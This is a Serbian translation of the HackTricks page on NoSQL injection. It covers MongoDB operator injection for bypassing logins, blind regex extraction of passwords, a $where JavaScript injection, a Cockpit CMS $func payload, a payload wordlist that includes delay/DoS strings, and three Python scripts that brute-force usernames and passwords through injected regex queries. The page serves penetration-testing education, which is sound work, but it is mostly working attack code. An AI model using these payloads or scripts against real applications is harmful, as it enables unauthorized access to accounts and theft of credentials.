hacktricks/pentesting-web/nosql-injection.md

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# NoSQL ubacivanje
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<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
## Eksploatacija
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U PHP-u možete poslati niz tako što ćete promeniti poslati parametar sa _parameter=foo_ na _parameter\[arrName]=foo._
Eksploatacije se zasnivaju na dodavanju **Operatora**:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
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username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Osnovna obilaznica autentikacije
**Korišćenje operatora "nije jednako" ($ne) ili "veće od" ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
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username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
---
#### **NoSQL Injection**
NoSQL baze podataka, kao što je MongoDB, takođe su podložne injekcijama. Uobičajeni napadi uključuju ubacivanje operacija koje nisu predviđene, kao što su `$where` klauzule ili JavaScript kod unutar upita.
---
#### **MongoDB NoSQL Injection Primer**
Evo primera kako se može izvršiti NoSQL injekcija u MongoDB bazi podataka:
```json
POST /api/products HTTP/1.1
Host: website.com
Content-Type: application/json
{
"name": {"$gt": ""},
"password": {"$gt": ""}
}
```
U ovom primeru, ako se ne vrati greška, može se zaključiti da je baza podataka podložna NoSQL injekciji.
```javascript
query = { $where: `this.username == '${username}'` }
```
Napadač može iskoristiti ovo unošenjem nizova poput `admin' || 'a'=='a`, čime će upit vratiti sve dokumente zadovoljavajući uslov tautologijom (`'a'=='a'`). Ovo je analogno SQL injection napadima gde se koriste unosi poput `' or 1=1-- -` za manipulaciju SQL upita. U MongoDB-u, slične injekcije mogu se izvršiti korišćenjem unosa poput `' || 1==1//`, `' || 1==1%00`, ili `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
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Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
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### Izdvajanje informacija o **dužini**
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Izdvajanje informacija o **podacima**
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
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### **SQL - Mongo**
---
NoSQL baze podataka, kao što je MongoDB, koriste se za čuvanje podataka u obliku JSON dokumenata umesto tabela. Kao rezultat toga, tradicionalne SQL injekcije neće raditi na NoSQL bazama podataka. Međutim, NoSQL baze podataka su podložne NoSQL injekcijama.
NoSQL injekcija može se desiti kada se korisnički unos ne filtrira ili validira pre nego što se prosledi bazi podataka. To može dovesti do izvršavanja neovlašćenih upita ili manipulacije podacima.
Da biste sprečili NoSQL injekcije, koristite parametrizovane upite, koristite biblioteke koje automatski filtriraju unos ili koristite ORM (Object-Relational Mapping) biblioteke koje rukovode interakcijom sa bazom podataka umesto ručnog pisanja upita.
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
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### PHP Proizvoljno Izvršavanje Funkcija
Korišćenjem operatora **$func** biblioteke [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (koja se koristi podrazumevano) moguće je izvršiti proizvoljnu funkciju kao u [ovom izveštaju](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit\_auth\_check\_10.png](<../.gitbook/assets/image (930).png>)
### Dobijanje informacija iz različitih kolekcija
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Moguće je koristiti [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) da biste dobili informacije iz različite kolekcije. U sledećem primeru, čitamo iz **različite kolekcije** nazvane **`users`** i dobijamo **rezultate svih unosa** sa lozinkom koja odgovara šablonu.
**NAPOMENA:** `$lookup` i ostale funkcije agregacije su dostupne samo ako je funkcija `aggregate()` korišćena za pretragu umesto uobičajenijih funkcija `find()` ili `findOne()`.
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```json
[
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{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
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]
```
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
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\
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## MongoDB Payloadi
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Lista [odavde](https://github.com/cr0hn/nosqlinjection\_wordlists/blob/master/mongodb\_nosqli.txt)
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```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Slepa NoSQL skripta
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
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print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
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for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
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### Brute-force login usernames and passwords from POST login
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Ovo je jednostavan skript koji možete modifikovati, ali prethodni alati takođe mogu obaviti ovaj zadatak.
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
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print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
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usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
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get_password(u)
```
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## Alati
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* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
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## Reference
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* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
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* [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
* [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
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* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
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\
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
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Dobijte pristup danas:
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}